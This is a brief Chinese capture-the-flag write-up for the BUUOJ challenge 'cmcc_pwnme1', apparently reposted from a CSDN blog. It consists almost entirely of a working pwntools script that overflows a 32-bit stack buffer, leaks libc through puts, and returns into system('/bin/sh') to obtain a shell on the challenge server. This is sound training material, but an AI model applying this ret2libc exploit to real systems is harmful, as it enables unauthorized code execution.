cmcc_pwnme1
作者:互联网
cmcc_pwnme1
查看保护
直接ret2libc吧。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27421)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']
r.sendlineafter('>> 6. Exit ', '5')
p1 = b'a' * (0xa4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p1)
puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc = ELF('libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
r.sendlineafter('>> 6. Exit ', '5')
p2 = b'a' * (0xa4 + 4) + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(p2)
r.interactive()
标签:pwnme1,addr,puts,libc,cmcc,elf,file,p32 来源: https://blog.csdn.net/zzq487782568/article/details/122540059